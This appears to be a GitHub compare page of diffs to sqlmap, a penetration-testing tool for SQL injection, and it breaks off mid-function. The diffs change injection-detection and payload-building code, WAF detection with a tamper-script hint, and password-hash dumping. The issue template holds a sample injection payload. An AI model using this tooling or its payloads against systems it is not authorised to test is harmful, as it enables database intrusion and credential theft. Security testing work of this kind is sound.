mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 11:39:59 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4ac319b074 | ||
|
|
2a754eef1c | ||
|
|
4e1bdb0c70 | ||
|
|
c35ba8b226 | ||
|
|
7e6879ec41 | ||
|
|
ea961678ee | ||
|
|
d4414e6631 | ||
|
|
eb098f6527 | ||
|
|
5772d8904d | ||
|
|
7000373c4b | ||
|
|
a60c9b0dcc | ||
|
|
2eb7a1d264 | ||
|
|
13f0949f9e | ||
|
|
076a42cbfe | ||
|
|
ce19525bc3 | ||
|
|
6da2e49100 | ||
|
|
1e44c4d669 | ||
|
|
10097dd124 | ||
|
|
f4e36fc049 | ||
|
|
083ce111f0 | ||
|
|
c1d4ab72eb | ||
|
|
2cc604e356 | ||
|
|
c557637299 | ||
|
|
044f05e772 | ||
|
|
6f343080e8 | ||
|
|
25c34c7728 | ||
|
|
d2bbe80455 | ||
|
|
0398cbdc76 | ||
|
|
e0149e1c5f | ||
|
|
98c6d8f582 | ||
|
|
d605b3af3c | ||
|
|
a6cbbc5ea9 | ||
|
|
5c80e988ba | ||
|
|
10ffcb8b00 | ||
|
|
38d74cf61c | ||
|
|
1db6953f08 | ||
|
|
d431c7d155 | ||
|
|
5ab4d54df0 | ||
|
|
877d46e9f7 | ||
|
|
7e69cc112f | ||
|
|
5b14eecd25 | ||
|
|
24eaf55dc8 | ||
|
|
6be10b307d | ||
|
|
91ad71b1e0 | ||
|
|
d6255de205 | ||
|
|
c293a6a25a | ||
|
|
b1175017f9 | ||
|
|
75c9f91f11 | ||
|
|
9ff2dcf1c1 | ||
|
|
6c4e9ae427 | ||
|
|
748e94dcee | ||
|
|
f389bd71c0 | ||
|
|
1126ff86ce | ||
|
|
79377fedab | ||
|
|
5d2972f362 | ||
|
|
ae465bbaf8 | ||
|
|
1b95dd2d9d | ||
|
|
6130185ac6 | ||
|
|
c92fde120d | ||
|
|
7eab1bcbf9 | ||
|
|
4c05307357 | ||
|
|
0037c28e9e | ||
|
|
2b279233b6 | ||
|
|
b51b80b174 | ||
|
|
e4b0ac9ae5 | ||
|
|
7f416846b7 | ||
|
|
5b7254af96 | ||
|
|
c83d417298 | ||
|
|
b42dc6e7a5 | ||
|
|
8124fe391d | ||
|
|
833ca4b640 | ||
|
|
3b244858f8 | ||
|
|
6107696e25 | ||
|
|
af1c9c7fb2 | ||
|
|
06b54ab134 | ||
|
|
fee5c7bd7c | ||
|
|
fb8afc6add | ||
|
|
6c372a09bd | ||
|
|
171cf6f54d | ||
|
|
029bb5554d | ||
|
|
c69cb79d66 | ||
|
|
dc8301689e | ||
|
|
d8dd37510c | ||
|
|
d1680b04f3 | ||
|
|
102d4b4119 | ||
|
|
b3b49b3492 | ||
|
|
7a89433251 | ||
|
|
ced6711128 | ||
|
|
bdf76f8d4d | ||
|
|
571ae174bd | ||
|
|
332726356c | ||
|
|
4ea9d3b884 | ||
|
|
3409953538 | ||
|
|
3b3ab072e6 | ||
|
|
fef407e09c | ||
|
|
5afccce3c6 | ||
|
|
e439095593 | ||
|
|
e77126e847 | ||
|
|
3ef01f0e31 | ||
|
|
d36b5c0a4b | ||
|
|
e5a758bdf4 | ||
|
|
617509869d | ||
|
|
5079c42788 | ||
|
|
bc7ab01066 | ||
|
|
212c1ec1f2 | ||
|
|
381deb68ff | ||
|
|
ba0facb5eb | ||
|
|
7151df16f6 | ||
|
|
8994bf2dba | ||
|
|
09617c8243 | ||
|
|
556b4d289e | ||
|
|
978f56ad10 | ||
|
|
aa0b97b562 | ||
|
|
df645d7d3d | ||
|
|
035137ef4e | ||
|
|
484d9a4825 | ||
|
|
65c305cff0 | ||
|
|
9a5fc5ccf4 | ||
|
|
51a1973224 | ||
|
|
2f2a63334a | ||
|
|
23afeb4c7a | ||
|
|
b387fb219d | ||
|
|
1b48ff223d | ||
|
|
640e605412 | ||
|
|
e10bb42597 | ||
|
|
9902018cab | ||
|
|
56a918c408 | ||
|
|
bcd62ecc5b | ||
|
|
e519484230 | ||
|
|
a2c8f1deb1 | ||
|
|
12dc53f687 | ||
|
|
b3b5bd267d | ||
|
|
edcfffc279 | ||
|
|
3bbfd0665c | ||
|
|
921a53e314 | ||
|
|
32dd4a938c | ||
|
|
9930f1b55b | ||
|
|
8581d9e2ca | ||
|
|
1a613ed9a8 | ||
|
|
78e398d9c4 | ||
|
|
e3c3c2c185 | ||
|
|
4e36bbaff9 | ||
|
|
603e9739ae | ||
|
|
6b91b7b7fa | ||
|
|
2e62fda57d | ||
|
|
5ad27264a2 |
@@ -0,0 +1,26 @@
|
||||
## What's the problem (or question)?
|
||||
<!--- If describing a bug, tell us what happens instead of the expected behavior -->
|
||||
<!--- If suggesting a change/improvement, explain the difference from current behavior -->
|
||||
|
||||
## Do you have an idea for a solution?
|
||||
<!--- Not obligatory, but suggest a fix/reason for the bug, -->
|
||||
<!--- or ideas how to implement the addition or change -->
|
||||
|
||||
## How can we reproduce the issue?
|
||||
<!--- Provide unambiguous set of steps to reproduce this bug. Include command to reproduce, if relevant (you can mask the sensitive data) -->
|
||||
1.
|
||||
2.
|
||||
3.
|
||||
4.
|
||||
|
||||
## What are the running context details?
|
||||
<!--- Include as many relevant details about the running context you experienced the bug/problem in -->
|
||||
* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
|
||||
* Client OS (e.g. `Microsoft Windows 10`)
|
||||
* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
|
||||
* Target DBMS (e.g. `Microsoft SQL Server`):
|
||||
* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
|
||||
* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
|
||||
* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
|
||||
* Relevant console output (if any):
|
||||
* Exception traceback (if any):
|
||||
+1
-1
@@ -76,7 +76,7 @@
|
||||
* Added option `--safe-post` to set POST data for sending to safe URL.
|
||||
* Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL.
|
||||
* Added option `--skip` to skip testing of given parameter(s).
|
||||
* Added switch `--skip-static` to skip testing parameters that not appear dynamic.
|
||||
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
|
||||
* Added switch `--skip-urlencode` to skip URL encoding of payload data.
|
||||
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection.
|
||||
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
|
||||
|
||||
@@ -312,3 +312,5 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
* The PyDes library located under thirdparty/pydes/.
|
||||
Copyleft 2009, Todd Whiteman.
|
||||
* The win_inet_pton library located under thirdparty/wininetpton/.
|
||||
Copyleft 2014, Ryan Vennell.
|
||||
|
||||
@@ -23,7 +23,7 @@ HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})"
|
||||
SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c"
|
||||
|
||||
# Characters that don't need to be safe encoded
|
||||
SAFE_CHARS = "".join(filter(lambda x: x not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
|
||||
SAFE_CHARS = "".join(filter(lambda _: _ not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
|
||||
|
||||
# Prefix used for hex encoded values
|
||||
HEX_ENCODED_PREFIX = r"\x"
|
||||
@@ -47,7 +47,7 @@ def safecharencode(value):
|
||||
retVal = value
|
||||
|
||||
if isinstance(value, basestring):
|
||||
if any(_ not in SAFE_CHARS for _ in value):
|
||||
if any([_ not in SAFE_CHARS for _ in value]):
|
||||
retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER)
|
||||
retVal = retVal.replace('\\', SLASH_MARKER)
|
||||
|
||||
|
||||
@@ -20,8 +20,8 @@ def check(module):
|
||||
print "CHECKING ", module
|
||||
pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
|
||||
for line in pout:
|
||||
if re.match("E....:.", line):
|
||||
print line
|
||||
if re.match("\AE:", line):
|
||||
print line.strip()
|
||||
if __RATING__ and "Your code has been rated at" in line:
|
||||
print line
|
||||
score = re.findall("\d.\d\d", line)[0]
|
||||
|
||||
@@ -22,7 +22,6 @@ from lib.core.revision import getRevisionNumber
|
||||
|
||||
START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())
|
||||
SQLMAP_HOME = "/opt/sqlmap"
|
||||
REVISION = getRevisionNumber()
|
||||
|
||||
SMTP_SERVER = "127.0.0.1"
|
||||
SMTP_PORT = 25
|
||||
@@ -30,7 +29,7 @@ SMTP_TIMEOUT = 30
|
||||
FROM = "[email protected]"
|
||||
#TO = "[email protected]"
|
||||
TO = ["[email protected]", "[email protected]"]
|
||||
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION)
|
||||
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
|
||||
TARGET = "debian"
|
||||
|
||||
def prepare_email(content):
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
#!/bin/bash
|
||||
|
||||
# References: http://www.thegeekstuff.com/2012/09/strip-command-examples/
|
||||
# http://www.muppetlabs.com/~breadbox/software/elfkickers.html
|
||||
# https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html
|
||||
|
||||
# For example:
|
||||
# python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_
|
||||
# ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so
|
||||
# python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so
|
||||
# rm lib_postgresqludf_sys.so
|
||||
|
||||
strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $*
|
||||
sstrip $*
|
||||
|
||||
@@ -74,8 +74,7 @@ def action():
|
||||
|
||||
if conf.getPasswordHashes:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users password hashes",
|
||||
conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
|
||||
except SqlmapNoneDataException, ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
@@ -83,8 +82,7 @@ def action():
|
||||
|
||||
if conf.getPrivileges:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users privileges",
|
||||
conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
|
||||
conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
|
||||
except SqlmapNoneDataException, ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
@@ -92,8 +90,7 @@ def action():
|
||||
|
||||
if conf.getRoles:
|
||||
try:
|
||||
conf.dumper.userSettings("database management system users roles",
|
||||
conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
|
||||
conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
|
||||
except SqlmapNoneDataException, ex:
|
||||
logger.critical(ex)
|
||||
except:
|
||||
|
||||
+33
-19
@@ -74,6 +74,7 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
|
||||
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
|
||||
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
|
||||
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import URI_HTTP_HEADER
|
||||
@@ -94,6 +95,13 @@ def checkSqlInjection(place, parameter, value):
|
||||
# Localized thread data needed for some methods
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
# Favoring non-string specific boundaries in case of digit-like parameter values
|
||||
if value.isdigit():
|
||||
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\'')))
|
||||
boundaries = kb.cache.intBoundaries
|
||||
else:
|
||||
boundaries = conf.boundaries
|
||||
|
||||
# Set the flag for SQL injection test mode
|
||||
kb.testMode = True
|
||||
|
||||
@@ -149,6 +157,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
kb.testType = stype = test.stype
|
||||
clause = test.clause
|
||||
unionExtended = False
|
||||
trueCode, falseCode = None, None
|
||||
|
||||
if stype == PAYLOAD.TECHNIQUE.UNION:
|
||||
configUnion(test.request.char)
|
||||
@@ -311,12 +320,6 @@ def checkSqlInjection(place, parameter, value):
|
||||
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
|
||||
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None)
|
||||
|
||||
# Favoring non-string specific boundaries in case of digit-like parameter values
|
||||
if value.isdigit():
|
||||
boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\'')))
|
||||
else:
|
||||
boundaries = conf.boundaries
|
||||
|
||||
for boundary in boundaries:
|
||||
injectable = False
|
||||
|
||||
@@ -519,7 +522,7 @@ def checkSqlInjection(place, parameter, value):
|
||||
|
||||
if not any((conf.string, conf.notString, conf.code)):
|
||||
infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
|
||||
logger.info(infoMsg)
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
# In case of error-based SQL injection
|
||||
elif method == PAYLOAD.METHOD.GREP:
|
||||
@@ -555,8 +558,15 @@ def checkSqlInjection(place, parameter, value):
|
||||
elif method == PAYLOAD.METHOD.TIME:
|
||||
# Perform the test's request
|
||||
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
|
||||
trueCode = threadData.lastCode
|
||||
|
||||
if trueResult:
|
||||
# Extra validation step (e.g. to check for DROP protection mechanisms)
|
||||
if SLEEP_TIME_MARKER in reqPayload:
|
||||
falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False)
|
||||
if falseResult:
|
||||
continue
|
||||
|
||||
# Confirm test's results
|
||||
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
|
||||
|
||||
@@ -667,6 +677,8 @@ def checkSqlInjection(place, parameter, value):
|
||||
injection.data[stype].comment = comment
|
||||
injection.data[stype].templatePayload = templatePayload
|
||||
injection.data[stype].matchRatio = kb.matchRatio
|
||||
injection.data[stype].trueCode = trueCode
|
||||
injection.data[stype].falseCode = falseCode
|
||||
|
||||
injection.conf.textOnly = conf.textOnly
|
||||
injection.conf.titles = conf.titles
|
||||
@@ -921,7 +933,7 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
|
||||
randStr = ""
|
||||
|
||||
while '\'' not in randStr:
|
||||
while randStr.count('\'') != 1 or randStr.count('\"') != 1:
|
||||
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
|
||||
|
||||
kb.heuristicMode = True
|
||||
@@ -1317,11 +1329,11 @@ def identifyWaf():
|
||||
kb.redirectChoice = popValue()
|
||||
return page or "", headers or {}, code
|
||||
|
||||
retVal = False
|
||||
retVal = []
|
||||
|
||||
for function, product in kb.wafFunctions:
|
||||
try:
|
||||
logger.debug("checking for WAF/IDS/IPS product '%s'" % product)
|
||||
logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
|
||||
found = function(_)
|
||||
except Exception, ex:
|
||||
errMsg = "exception occurred while running "
|
||||
@@ -1331,22 +1343,24 @@ def identifyWaf():
|
||||
found = False
|
||||
|
||||
if found:
|
||||
retVal = product
|
||||
break
|
||||
errMsg = "WAF/IPS/IDS identified as '%s'" % product
|
||||
logger.critical(errMsg)
|
||||
|
||||
retVal.append(product)
|
||||
|
||||
if retVal:
|
||||
errMsg = "WAF/IDS/IPS identified as '%s'. Please " % retVal
|
||||
errMsg += "consider usage of tamper scripts (option '--tamper')"
|
||||
logger.critical(errMsg)
|
||||
|
||||
message = "are you sure that you want to "
|
||||
message += "continue with further target testing? [y/N] "
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if not conf.tamper:
|
||||
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if output and output[0] not in ("Y", "y"):
|
||||
raise SqlmapUserQuitException
|
||||
else:
|
||||
warnMsg = "WAF/IDS/IPS product hasn't been identified"
|
||||
warnMsg = "WAF/IPS/IDS product hasn't been identified"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
kb.testType = None
|
||||
@@ -1374,7 +1388,7 @@ def checkNullConnection():
|
||||
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.HEAD
|
||||
|
||||
infoMsg = "NULL connection is supported with HEAD header"
|
||||
infoMsg = "NULL connection is supported with HEAD method (Content-Length)"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
|
||||
@@ -1382,7 +1396,7 @@ def checkNullConnection():
|
||||
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.RANGE
|
||||
|
||||
infoMsg = "NULL connection is supported with GET header "
|
||||
infoMsg = "NULL connection is supported with GET method (Range)"
|
||||
infoMsg += "'%s'" % kb.nullConnection
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
|
||||
@@ -487,7 +487,7 @@ def start():
|
||||
check = checkDynParam(place, parameter, value)
|
||||
|
||||
if not check:
|
||||
warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter)
|
||||
warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if conf.skipStatic:
|
||||
@@ -545,7 +545,7 @@ def start():
|
||||
kb.testedParams.add(paramKey)
|
||||
|
||||
if not injectable:
|
||||
warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
|
||||
warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter)
|
||||
warnMsg += "injectable"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
@@ -662,7 +662,7 @@ def start():
|
||||
_saveToResultsFile()
|
||||
|
||||
errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
|
||||
logger.error(errMsg)
|
||||
logger.error(errMsg.lstrip(", "))
|
||||
else:
|
||||
logger.critical(errMsg)
|
||||
return False
|
||||
|
||||
@@ -22,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
|
||||
from lib.core.settings import SYBASE_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.utils.sqlalchemy import SQLAlchemy
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
@@ -46,6 +47,8 @@ from plugins.dbms.db2 import DB2Map
|
||||
from plugins.dbms.db2.connector import Connector as DB2Conn
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.informix.connector import Connector as InformixConn
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
@@ -65,6 +68,7 @@ def setHandler():
|
||||
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
|
||||
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
|
||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||
]
|
||||
|
||||
_ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items)
|
||||
@@ -82,9 +86,6 @@ def setHandler():
|
||||
conf.dbmsConnector = Connector()
|
||||
|
||||
if conf.direct:
|
||||
logger.debug("forcing timeout to 10 seconds")
|
||||
conf.timeout = 10
|
||||
|
||||
dialect = DBMS_DICT[dbms][3]
|
||||
|
||||
if dialect:
|
||||
|
||||
+19
-19
@@ -43,6 +43,7 @@ from lib.core.settings import GENERIC_SQL_COMMENT
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import REPLACEMENT_MARKER
|
||||
from lib.core.settings import SLEEP_TIME_MARKER
|
||||
from lib.core.unescaper import unescaper
|
||||
|
||||
class Agent(object):
|
||||
@@ -343,7 +344,7 @@ class Agent(object):
|
||||
"""
|
||||
|
||||
if payload:
|
||||
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
|
||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||
|
||||
return payload
|
||||
|
||||
@@ -486,7 +487,7 @@ class Agent(object):
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT \d+)\s+\d+)*"
|
||||
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
|
||||
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
|
||||
@@ -507,26 +508,26 @@ class Agent(object):
|
||||
if fieldsSubstr:
|
||||
fieldsToCastStr = query
|
||||
elif fieldsMinMaxstr:
|
||||
fieldsToCastStr = fieldsMinMaxstr.groups()[0]
|
||||
fieldsToCastStr = fieldsMinMaxstr.group(1)
|
||||
elif fieldsExists:
|
||||
if fieldsSelect:
|
||||
fieldsToCastStr = fieldsSelect.groups()[0]
|
||||
fieldsToCastStr = fieldsSelect.group(1)
|
||||
elif fieldsSelectTop:
|
||||
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
||||
fieldsToCastStr = fieldsSelectTop.group(1)
|
||||
elif fieldsSelectRownum:
|
||||
fieldsToCastStr = fieldsSelectRownum.groups()[0]
|
||||
fieldsToCastStr = fieldsSelectRownum.group(1)
|
||||
elif fieldsSelectDistinct:
|
||||
if Backend.getDbms() in (DBMS.HSQLDB,):
|
||||
fieldsToCastStr = fieldsNoSelect
|
||||
else:
|
||||
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
||||
fieldsToCastStr = fieldsSelectDistinct.group(1)
|
||||
elif fieldsSelectCase:
|
||||
fieldsToCastStr = fieldsSelectCase.groups()[0]
|
||||
fieldsToCastStr = fieldsSelectCase.group(1)
|
||||
elif fieldsSelectFrom:
|
||||
fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
|
||||
fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
|
||||
elif fieldsSelect:
|
||||
fieldsToCastStr = fieldsSelect.groups()[0]
|
||||
fieldsToCastStr = fieldsSelect.group(1)
|
||||
|
||||
# Function
|
||||
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
|
||||
@@ -667,24 +668,23 @@ class Agent(object):
|
||||
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
else:
|
||||
warnMsg = "applying generic concatenation with double pipes ('||')"
|
||||
warnMsg = "applying generic concatenation (CONCAT)"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if fieldsExists:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsSelectCase:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
|
||||
concatenatedQuery += ")||'%s'" % kb.chars.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsSelectFrom:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
|
||||
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
|
||||
concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
|
||||
elif fieldsSelect:
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
|
||||
concatenatedQuery += "||'%s'" % kb.chars.stop
|
||||
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
|
||||
concatenatedQuery += "),'%s')" % kb.chars.stop
|
||||
elif fieldsNoSelect:
|
||||
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
|
||||
|
||||
return concatenatedQuery
|
||||
|
||||
|
||||
+93
-30
@@ -119,6 +119,7 @@ from lib.core.settings import IP_ADDRESS_REGEX
|
||||
from lib.core.settings import ISSUES_PAGE
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import LARGE_OUTPUT_THRESHOLD
|
||||
from lib.core.settings import LOCALHOST
|
||||
from lib.core.settings import MIN_ENCODED_LEN_CHECK
|
||||
from lib.core.settings import MIN_TIME_RESPONSES
|
||||
from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
|
||||
@@ -140,6 +141,7 @@ from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
|
||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
|
||||
from lib.core.settings import SENSITIVE_DATA_REGEX
|
||||
from lib.core.settings import SENSITIVE_OPTIONS
|
||||
from lib.core.settings import SUPPORTED_DBMS
|
||||
from lib.core.settings import TEXT_TAG_REGEX
|
||||
from lib.core.settings import TIME_STDEV_COEFF
|
||||
@@ -813,11 +815,6 @@ def getAutoDirectories():
|
||||
warnMsg = "unable to automatically parse any web server path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
_ = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url) # web directory
|
||||
|
||||
if _:
|
||||
retVal.add(_)
|
||||
|
||||
return list(retVal)
|
||||
|
||||
def filePathToSafeString(filePath):
|
||||
@@ -890,12 +887,12 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
|
||||
else:
|
||||
message = data
|
||||
|
||||
if hasattr(conf, "api"):
|
||||
sys.stdout.write(message, status, content_type)
|
||||
else:
|
||||
sys.stdout.write(setColor(message, bold))
|
||||
|
||||
try:
|
||||
if hasattr(conf, "api"):
|
||||
sys.stdout.write(message, status, content_type)
|
||||
else:
|
||||
sys.stdout.write(setColor(message, bold))
|
||||
|
||||
sys.stdout.flush()
|
||||
except IOError:
|
||||
pass
|
||||
@@ -935,15 +932,26 @@ def dataToOutFile(filename, data):
|
||||
retVal = None
|
||||
|
||||
if data:
|
||||
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
|
||||
while True:
|
||||
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
|
||||
|
||||
try:
|
||||
with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data
|
||||
f.write(unicodeencode(data))
|
||||
except IOError, ex:
|
||||
errMsg = "something went wrong while trying to write "
|
||||
errMsg += "to the output file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
try:
|
||||
with open(retVal, "w+b") as f: # has to stay as non-codecs because data is raw ASCII encoded data
|
||||
f.write(unicodeencode(data))
|
||||
except UnicodeEncodeError, ex:
|
||||
_ = normalizeUnicode(filename)
|
||||
if filename != _:
|
||||
filename = _
|
||||
else:
|
||||
errMsg = "couldn't write to the "
|
||||
errMsg += "output file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
except IOError, ex:
|
||||
errMsg = "something went wrong while trying to write "
|
||||
errMsg += "to the output file ('%s')" % getSafeExString(ex)
|
||||
raise SqlmapGenericException(errMsg)
|
||||
else:
